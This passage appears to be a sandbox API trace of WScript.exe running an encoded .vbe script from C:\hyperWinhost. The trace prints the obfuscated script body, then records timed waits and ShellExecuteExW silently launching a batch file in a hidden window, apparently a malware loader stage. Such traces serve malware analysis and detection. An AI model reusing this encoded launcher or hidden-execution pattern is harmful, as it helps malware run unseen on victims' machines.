lpValueName=0x0, lpReserved=0x0, lpType=0x3ee40c, lpData=0x3eec80, lpcbData=0x3ee410*=0x200 | out: lpType=0x3ee40c*=0x1, lpData="VBScript.Encode", lpcbData=0x3ee410*=0x20) returned 0x0 [0039.181] RegCloseKey (hKey=0x10a) returned 0x0 [0039.181] ??2@YAPAXI@Z () returned 0x172930 [0039.181] GetProcessHeap () returned 0x430000 [0039.181] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x0, Size=0x2000) returned 0x455868 [0039.181] CLSIDFromString (in: lpsz="VBScript.Encode", pclsid=0x3eec50 | out: pclsid=0x3eec50*(Data1=0xb54f3743, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8))) returned 0x0 [0039.182] CoCreateInstance (in: rclsid=0x3eec50*(Data1=0xb54f3743, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xf1aa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3eec4c | out: ppv=0x3eec4c*=0x172ae0) returned 0x0 [0039.229] malloc (_Size=0x80) returned 0x172a18 [0039.229] __dllonexit () returned 0x757a7164 [0039.229] __dllonexit () returned 0x757a717e [0039.229] __dllonexit () returned 0x757a7198 [0039.229] GetUserDefaultLCID () returned 0x409 [0039.229] GetVersion () returned 0x1db10106 [0039.230] DllGetClassObject (in: rclsid=0x4590c4*(Data1=0xb54f3743, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8)), riid=0x759bee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3edf34 | out: ppv=0x3edf34*=0x172aa0) returned 0x0 [0039.231] ??2@YAPAXI@Z () returned 0x172aa0 [0039.231] VBScriptEncode:IClassFactory:CreateInstance (in: This=0x172aa0, pUnkOuter=0x0, riid=0x3ee8e0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3edf20 | out: ppvObject=0x3edf20*=0x172ae0) returned 0x0 [0039.231] ??2@YAPAXI@Z () returned 0x172ae0 [0039.231] GetUserDefaultLCID () returned 0x409 [0039.231] GetACP () returned 0x4e4 [0039.232] VBScriptEncode:IUnknown:AddRef (This=0x172ae0) returned 0x2 [0039.232] VBScriptEncode:IUnknown:Release (This=0x172ae0) returned 0x1 [0039.232] VBScriptEncode:IUnknown:Release (This=0x172aa0) returned 0x0 [0039.232] ??3@YAXPAX@Z () returned 0x1 [0039.232] VBScriptEncode:IUnknown:QueryInterface (in: This=0x172ae0, riid=0xf1aa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3eec14 | out: ppvObject=0x3eec14*=0x172ae0) returned 0x0 [0039.232] VBScriptEncode:IUnknown:Release (This=0x172ae0) returned 0x1 [0039.232] GetCurrentThreadId () returned 0xe44 [0039.232] ??2@YAPAXI@Z () returned 0x172ce8 [0039.232] GetCurrentThreadId () returned 0xe44 [0039.232] ??2@YAPAXI@Z () returned 0x172aa0 [0039.232] ??2@YAPAXI@Z () returned 0x172da8 [0039.232] ??2@YAPAXI@Z () returned 0x172dd0 [0039.232] ??2@YAPAXI@Z () returned 0x172e50 [0039.232] GetCurrentThreadId () returned 0xe44 [0039.232] ??2@YAPAXI@Z () returned 0x172e78 [0039.233] GetUserDefaultLCID () returned 0x409 [0039.233] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0039.233] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x3eec04, cchData=6 | out: lpLCData="1252") returned 5 [0039.233] IsValidCodePage (CodePage=0x4e4) returned 1 [0039.233] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x75970000 [0039.234] GetProcAddress (hModule=0x75970000, lpProcName="CoCreateInstance") returned 0x759b9d0b [0039.234] CoCreateInstance (in: rclsid=0x7579b234*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7579b244*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x172cbc | out: ppv=0x172cbc*=0x44a6d0) returned 0x0 [0039.234] IUnknown:AddRef (This=0x44a6d0) returned 0x2 [0039.234] GetCurrentProcessId () returned 0xe40 [0039.234] GetCurrentThreadId () returned 0xe44 [0039.234] GetTickCount () returned 0x1760371 [0039.234] ISystemDebugEventFire:BeginSession (This=0x44a6d0, guidSourceID=0x7579b308, strSessionName="VBScript:00003648:00003652:24511345") returned 0x0 [0039.234] GetCurrentThreadId () returned 0xe44 [0039.234] ??2@YAPAXI@Z () returned 0x172ec8 [0039.234] ??2@YAPAXI@Z () returned 0x172ef8 [0039.234] malloc (_Size=0x40) returned 0x172f88 [0039.234] malloc (_Size=0x104) returned 0x172fd0 [0039.235] memcpy (in: _Dst=0x173004, _Src=0x449b4c, _Size=0x10 | out: _Dst=0x173004) returned 0x173004 [0039.235] GetCurrentThreadId () returned 0xe44 [0039.235] ??2@YAPAXI@Z () returned 0x1730e0 [0039.235] memcpy (in: _Dst=0x173044, _Src=0x44dcfc, _Size=0x8 | out: _Dst=0x173044) returned 0x173044 [0039.235] CreateFileW (lpFileName="C:\\hyperWinhost\\pd7Yx3rYmMqL9vJy.vbe" (normalized: "c:\\hyperwinhost\\pd7yx3rymmql9vjy.vbe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x124 [0039.235] GetFileSize (in: hFile=0x124, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc9 [0039.236] CreateFileMappingA (hFile=0x124, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc9, lpName=0x0) returned 0x128 [0039.236] MapViewOfFile (hFileMappingObject=0x128, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x140000 [0039.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr="#@~^sAAAAA==j\x7fY~q/4?t\x7fV^~',Z.+mYn6(L+1O`r\x7f?1.rwDRUtnVsE*@#@&\x7fU^DbwO UV+n2v&T!Zb@#@&j\x7fY,\x7f/4?4nV^PxP;DnCD+r(%+1Y`r\x09jmMkaY ?4n^VE#@#@&\x7fktj4\x7fVV ]!x~J;lJtza+M\x7fk\x09tKdYJf-::,$dxb0~4R(lYrS~!BP6ls/nsjcAAA==^#~@", cbMultiByte=201, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 201 [0039.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr="#@~^sAAAAA==j\x7fY~q/4?t\x7fV^~',Z.+mYn6(L+1O`r\x7f?1.rwDRUtnVsE*@#@&\x7fU^DbwO UV+n2v&T!Zb@#@&j\x7fY,\x7f/4?4nV^PxP;DnCD+r(%+1Y`r\x09jmMkaY ?4n^VE#@#@&\x7fktj4\x7fVV ]!x~J;lJtza+M\x7fk\x09tKdYJf-::,$dxb0~4R(lYrS~!BP6ls/nsjcAAA==^#~@", cbMultiByte=201, lpWideCharStr=0x459f14, cchWideChar=201 | out: lpWideCharStr="#@~^sAAAAA==j\x7fY~q/4?t\x7fV^~',Z.+mYn6(L+1O`r\x7f?1.rwDRUtnVsE*@#@&\x7fU^DbwO UV+n2v&T!Zb@#@&j\x7fY,\x7f/4?4nV^PxP;DnCD+r(%+1Y`r\x09jmMkaY ?4n^VE#@#@&\x7fktj4\x7fVV ]!x~J;lJtza+M\x7fk\x09tKdYJf-::,$dxb0~4R(lYrS~!BP6ls/nsjcAAA==^#~@") returned 201 [0039.236] UnmapViewOfFile (lpBaseAddress=0x140000) returned 1 [0039.236] CloseHandle (hObject=0x128) returned 1 [0039.236] CloseHandle (hObject=0x124) returned 1 [0039.237] GetSystemDirectoryA (in: lpBuffer=0x3eedcf, uSize=0x0 | out: lpBuffer="") returned 0x14 [0039.237] ??2@YAPAXI@Z () returned 0x173110 [0039.237] GetSystemDirectoryA (in: lpBuffer=0x173110, uSize=0x15 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0039.237] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\advapi32.dll") returned 0x76940000 [0039.240] ??3@YAXPAX@Z () returned 0x1 [0039.240] GetProcAddress (hModule=0x76940000, lpProcName="SaferIdentifyLevel") returned 0x76962102 [0039.240] GetProcAddress (hModule=0x76940000, lpProcName="SaferComputeTokenFromLevel") returned 0x76963352 [0039.240] GetProcAddress (hModule=0x76940000, lpProcName="SaferCloseLevel") returned 0x76963825 [0039.241] IdentifyCodeAuthzLevelW () returned 0x1 [0039.409] malloc (_Size=0x80) returned 0x173660 [0039.410] GetVersionExA (in: lpVersionInformation=0x3ee458*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x2, dwMinorVersion=0x80, dwBuildNumber=0x77dee026, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x3ee458*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0039.410] GetUserDefaultLCID () returned 0x409 [0039.411] IsFileSupportedName () returned 0x1 [0039.411] _wcsicmp (_String1=".vbs", _String2=".vbe") returned 14 [0039.411] _wcsicmp (_String1=".vbe", _String2=".vbe") returned 0 [0039.417] GetSignedDataMsg () returned 0x0 [0039.417] GetCurrentProcess () returned 0xffffffff [0039.418] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x128, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x3ee984, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x3ee984*=0x154) returned 1 [0039.418] GetFileSize (in: hFile=0x154, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc9 [0039.418] ??2@YAPAXI@Z () returned 0x17e170 [0039.418] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0039.418] ReadFile (in: hFile=0x154, lpBuffer=0x17e170, nNumberOfBytesToRead=0xc9, lpNumberOfBytesRead=0x3ee958, lpOverlapped=0x0 | out: lpBuffer=0x17e170*, lpNumberOfBytesRead=0x3ee958*=0xc9, lpOverlapped=0x0) returned 1 [0039.418] CoInitialize (pvReserved=0x0) returned 0x1 [0039.418] CoCreateInstance (in: rclsid=0x75761e54*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x75761d8c*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppv=0x3ee930 | out: ppv=0x3ee930*=0x17e598) returned 0x0 [0039.440] malloc (_Size=0x80) returned 0x17e248 [0039.441] __dllonexit () returned 0x75731815 [0039.441] __dllonexit () returned 0x7573182f [0039.441] GetVersionExA (in: lpVersionInformation=0x3ed4b8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x3ed4a8, dwMinorVersion=0x2, dwBuildNumber=0x3f0000, dwPlatformId=0x75734268, szCSDVersion="ØÔ>") | out: lpVersionInformation=0x3ed4b8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0039.441] GetProcessWindowStation () returned 0x4c [0039.441] GetUserObjectInformationA (in: hObj=0x4c, nIndex=1, pvInfo=0x3ed4a8, nLength=0xc, lpnLengthNeeded=0x3ed4b4 | out: pvInfo=0x3ed4a8, lpnLengthNeeded=0x3ed4b4) returned 1 [0039.441] ??2@YAPAXI@Z () returned 0x17e2d0 [0039.441] ??2@YAPAXI@Z () returned 0x1714b8 [0039.441] ??2@YAPAXI@Z () returned 0x17e308 [0039.441] ??2@YAPAXI@Z () returned 0x17e338 [0039.441] ??2@YAPAXI@Z () returned 0x17e368 [0039.441] ??2@YAPAXI@Z () returned 0x17e398 [0039.441] ??2@YAPAXI@Z () returned 0x17e3c8 [0039.441] ??2@YAPAXI@Z () returned 0x17e3f8 [0039.441] ??2@YAPAXI@Z () returned 0x17e428 [0039.442] ??2@YAPAXI@Z () returned 0x17e458 [0039.442] ??2@YAPAXI@Z () returned 0x17e488 [0039.442] ??3@YAXPAX@Z () returned 0x1 [0039.442] ??2@YAPAXI@Z () returned 0x17e4b0 [0039.442] ??2@YAPAXI@Z () returned 0x17e4e0 [0039.442] DllGetClassObject (in: rclsid=0x4590f8*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), riid=0x759bee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3edc24 | out: ppv=0x3edc24*=0x1714b8) returned 0x0 [0039.442] ??2@YAPAXI@Z () returned 0x1714b8 [0039.442] IClassFactory:CreateInstance (in: This=0x1714b8, pUnkOuter=0x0, riid=0x3ee5d0*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x3edc10 | out: ppvObject=0x3edc10*=0x17e598) returned 0x0 [0039.442] ??2@YAPAXI@Z () returned 0x17e510 [0039.442] GetSystemInfo (in: lpSystemInfo=0x3edb50 | out: lpSystemInfo=0x3edb50*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0039.443] VirtualQuery (in: lpAddress=0x3edb90, lpBuffer=0x3edb74, dwLength=0x1c | out: lpBuffer=0x3edb74*(BaseAddress=0x3ed000, AllocationBase=0x2f0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0039.443] ??2@YAPAXI@Z () returned 0x172ac0 [0039.443] ??2@YAPAXI@Z () returned 0x17e538 [0039.443] ??2@YAPAXI@Z () returned 0x17e570 [0039.443] ??2@YAPAXI@Z () returned 0x17e588 [0039.443] ??2@YAPAXI@Z () returned 0x17e5e0 [0039.443] IUnknown:AddRef (This=0x17e598) returned 0x2 [0039.443] IUnknown:Release (This=0x17e598) returned 0x1 [0039.443] IUnknown:Release (This=0x1714b8) returned 0x0 [0039.443] ??3@YAXPAX@Z () returned 0x1 [0039.444] IUnknown:QueryInterface (in: This=0x17e598, riid=0x75761d8c*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x3ee900 | out: ppvObject=0x3ee900*=0x17e598) returned 0x0 [0039.444] IUnknown:Release (This=0x17e598) returned 0x1 [0039.444] _strnicmp (_Str1="") | out: lpVersionInformation=0x3ed680*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0039.519] GetUserDefaultLCID () returned 0x409 [0039.519] DllGetClassObject (in: rclsid=0x45912c*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), riid=0x3ee750*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3ede08 | out: ppv=0x3ede08*=0x2b40ad0) returned 0x0 [0039.519] ??2@YAPAXI@Z () returned 0x2b40ad0 [0039.519] WshShell:IUnknown:AddRef (This=0x2b40ad0) returned 0x2 [0039.519] WshShell:IUnknown:Release (This=0x2b40ad0) returned 0x1 [0039.519] WshShell:IUnknown:QueryInterface (in: This=0x2b40ad0, riid=0x75794174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ee9d0 | out: ppvObject=0x3ee9d0*=0x2b40ad0) returned 0x0 [0039.519] WshShell:IUnknown:Release (This=0x2b40ad0) returned 0x1 [0039.519] ??2@YAPAXI@Z () returned 0x2b40ae8 [0039.520] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x3ee92c, nSize=0x105 | out: lpFilename="C:\\Windows\\SysWOW64\\WScript.exe" (normalized: "c:\\windows\\syswow64\\wscript.exe")) returned 0x1f [0039.520] lstrlenA (lpString="\\wscript.exe") returned 12 [0039.520] lstrlenA (lpString="C:\\Windows\\SysWOW64\\WScript.exe") returned 31 [0039.520] _strcmpi (_Str1="\\WScript.exe", _Str2="\\wscript.exe") returned 0 [0039.520] GetModuleHandleA (lpModuleName=0x0) returned 0xf0000 [0039.520] GetProcAddress (hModule=0xf0000, lpProcName=0x1) returned 0xf2bb9 [0039.520] ??3@YAXPAX@Z () returned 0x1 [0039.520] ??2@YAPAXI@Z () returned 0x2b42ef8 [0039.520] malloc (_Size=0x204) returned 0x2b43228 [0039.520] memcpy (in: _Dst=0x2b4325c, _Src=0x2b40c00, _Size=0x12 | out: _Dst=0x2b4325c) returned 0x2b4325c [0039.521] lstrlenW (lpString="WScript") returned 7 [0039.521] lstrlenW (lpString="WScript") returned 7 [0039.521] IUnknown:AddRef (This=0x4510a0) returned 0x2 [0039.521] ITypeInfo:LocalGetIDsOfNames (This=0x4510a0) returned 0x0 [0039.521] IUnknown:Release (This=0x4510a0) returned 0x1 [0039.521] IUnknown:AddRef (This=0x4510a0) returned 0x2 [0039.521] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0039.521] ITypeInfo:LocalInvoke (This=0x4510a0) returned 0x0 [0039.521] GetTickCount () returned 0x176045b [0039.522] MsgWaitForMultipleObjects (nCount=0x0, pHandles=0x0, fWaitAll=1, dwMilliseconds=0x3e8, dwWakeMask=0x1ff) returned 0x102 [0040.523] PeekMessageA (in: lpMsg=0x3ee86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3ee86c) returned 0 [0040.523] GetTickCount () returned 0x1760851 [0040.523] MsgWaitForMultipleObjects (nCount=0x0, pHandles=0x0, fWaitAll=1, dwMilliseconds=0x3e8, dwWakeMask=0x1ff) returned 0x102 [0041.535] PeekMessageA (in: lpMsg=0x3ee86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3ee86c) returned 0 [0041.535] GetTickCount () returned 0x1760c47 [0041.535] MsgWaitForMultipleObjects (nCount=0x0, pHandles=0x0, fWaitAll=1, dwMilliseconds=0x3cc, dwWakeMask=0x1ff) returned 0x102 [0042.518] PeekMessageA (in: lpMsg=0x3ee86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3ee86c) returned 0 [0042.518] GetTickCount () returned 0x176101d [0042.518] IUnknown:Release (This=0x4510a0) returned 0x1 [0042.519] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x3eeab4 | out: lpclsid=0x3eeab4*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0042.519] SysStringLen (param_1=0x0) returned 0x0 [0042.519] CoGetClassObject (in: rclsid=0x3eeab4*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x75794174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3eeaa4 | out: ppv=0x3eeaa4*=0x2b40ad0) returned 0x0 [0042.519] DllGetClassObject (in: rclsid=0x45912c*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), riid=0x75794174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3eeaa4 | out: ppv=0x3eeaa4*=0x2b40ad0) returned 0x0 [0042.519] ??2@YAPAXI@Z () returned 0x2b40ad0 [0042.519] ??2@YAPAXI@Z () returned 0x2b40b18 [0042.519] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x3ee92c, nSize=0x105 | out: lpFilename="C:\\Windows\\SysWOW64\\WScript.exe" (normalized: "c:\\windows\\syswow64\\wscript.exe")) returned 0x1f [0042.519] lstrlenA (lpString="\\wscript.exe") returned 12 [0042.520] lstrlenA (lpString="C:\\Windows\\SysWOW64\\WScript.exe") returned 31 [0042.520] _strcmpi (_Str1="\\WScript.exe", _Str2="\\wscript.exe") returned 0 [0042.520] GetModuleHandleA (lpModuleName=0x0) returned 0xf0000 [0042.520] GetProcAddress (hModule=0xf0000, lpProcName=0x1) returned 0xf2bb9 [0042.520] ??3@YAXPAX@Z () returned 0x1 [0042.520] ??3@YAXPAX@Z () returned 0x1 [0042.521] LoadRegTypeLib (in: rguid=0x757014bc*(Data1=0xf935dc20, Data2=0x1cf0, Data3=0x11d0, Data4=([0]=0xad, [1]=0xb9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0x8a, [7]=0xb)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x3eea90*=0x0 | out: pptlib=0x3eea90*=0x468438) returned 0x0 [0042.532] ITypeLib:GetTypeInfoOfGuid (in: This=0x468438, GUID=0x757014cc*(Data1=0x41904400, Data2=0xbe18, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x8b, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0x3eea74 | out: ppTInfo=0x3eea74*=0x469cbc) returned 0x0 [0042.532] ITypeInfo:GetRefTypeOfImplType (in: This=0x469cbc, index=0xffffffff, pRefType=0x3eea68 | out: pRefType=0x3eea68*=0xfffffffe) returned 0x0 [0042.532] ITypeInfo:GetRefTypeInfo (in: This=0x469cbc, hreftype=0xfffffffe, ppTInfo=0x7571501c | out: ppTInfo=0x7571501c*=0x469ce8) returned 0x0 [0042.532] IUnknown:Release (This=0x469cbc) returned 0x1 [0042.532] IUnknown:Release (This=0x468438) returned 0x1 [0042.532] IUnknown:AddRef (This=0x469ce8) returned 0x2 [0042.532] ITypeInfo:LocalGetIDsOfNames (This=0x469ce8) returned 0x0 [0042.532] IUnknown:Release (This=0x469ce8) returned 0x1 [0042.532] IUnknown:AddRef (This=0x469ce8) returned 0x2 [0042.532] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0042.532] ITypeInfo:LocalInvoke (This=0x469ce8) returned 0x0 [0042.533] ExpandEnvironmentStringsW (in: lpSrc="C:/hyperWinhost/DvmT9BsJAfBh.bat", lpDst=0x3edf34, nSize=0x400 | out: lpDst="C:/hyperWinhost/DvmT9BsJAfBh.bat") returned 0x21 [0042.533] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75c30000 [0042.533] GetProcAddress (hModule=0x75c30000, lpProcName="ShellExecuteExW") returned 0x75c51e46 [0042.534] ShellExecuteExW (in: pExecInfo=0x3ee700*(cbSize=0x3c, fMask=0x440, hwnd=0x0, lpVerb="Open", lpFile="C:/hyperWinhost/DvmT9BsJAfBh.bat", lpParameters=0x0, lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x3ee700*(cbSize=0x3c, fMask=0x440, hwnd=0x0, lpVerb="Open", lpFile="C:/hyperWinhost/DvmT9BsJAfBh.bat", lpParameters=0x0, lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x2ec)) returned 1 [0043.947] CloseHandle (hObject=0x2ec) returned 1 [0043.947] IUnknown:Release (This=0x469ce8) returned 0x1 [0043.947] GetCurrentThreadId () returned 0xe44 [0043.948] ??3@YAXPAX@Z () returned 0x1 [0043.948] ISystemDebugEventFire:IsActive (This=0x44a6d0) returned 0x1 [0043.950] GetCurrentThreadId () returned 0xe44 [0043.950] IUnknown:Release (This=0x469ce8) returned 0x0 [0043.951] ??3@YAXPAX@Z () returned 0x1 [0043.951] free (_Block=0x172f88) [0043.952] free (_Block=0x2b43228) [0043.952] free (_Block=0x172fd0) [0043.952] ??3@YAXPAX@Z () returned 0x1 [0043.952] ??3@YAXPAX@Z () returned 0x1 [0043.953] ISystemDebugEventFire:EndSession (This=0x44a6d0) returned 0x0 [0043.953] IUnknown:Release (This=0x44a6d0) returned 0x1 [0043.953] GetUserDefaultLCID () returned 0x409 [0043.953] GetACP () returned 0x4e4 [0043.954] ??3@YAXPAX@Z () returned 0x1 [0043.954] ??3@YAXPAX@Z () returned 0x1 [0043.954] ??3@YAXPAX@Z () returned 0x1 [0043.954] ??3@YAXPAX@Z () returned 0x1 [0043.955] free (_Block=0x2b40b80) [0043.955] ??3@YAXPAX@Z () returned 0x1 [0043.955] ??3@YAXPAX@Z () returned 0x1 [0043.956] IUnknown:Release (This=0x44a6d0) returned 0x0 [0043.956] free (_Block=0x172ac0) [0043.956] ??3@YAXPAX@Z () returned 0x1 [0043.956] SendMessageA (hWnd=0x40278, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0043.958] SendMessageA (hWnd=0x40278, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0043.958] PostMessageA (hWnd=0x40278, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0043.959] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x3ef634*=0xf8, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0xff) returned 0x0 [0044.036] CloseHandle (hObject=0xf8) returned 1 [0044.036] ??3@YAXPAX@Z () returned 0x1 [0044.036] IUnknown:Release (This=0x4510f8) returned 0x0 [0044.036] ??3@YAXPAX@Z () returned 0x1 [0044.036] IUnknown:Release (This=0x451150) returned 0x0 [0044.036] ??3@YAXPAX@Z () returned 0x1 [0044.036] IUnknown:Release (This=0x4511a8) returned 0x0 [0044.036] ??3@YAXPAX@Z () returned 0x1 [0044.037] IUnknown:Release (This=0x4510a0) returned 0x0 [0044.037] ??3@YAXPAX@Z () returned 0x1 [0044.038] ??3@YAXPAX@Z () returned 0x1 [0044.038] ??3@YAXPAX@Z () returned 0x1 [0044.038] ??3@YAXPAX@Z () returned 0x1 [0044.038] GetProcessHeap () returned 0x430000 [0044.039] HeapFree (in: hHeap=0x430000, dwFlags=0x0, lpMem=0x455868 | out: hHeap=0x430000) returned 1 [0044.039] ??3@YAXPAX@Z () returned 0x1 [0044.039] CoRegisterMessageFilter (in: 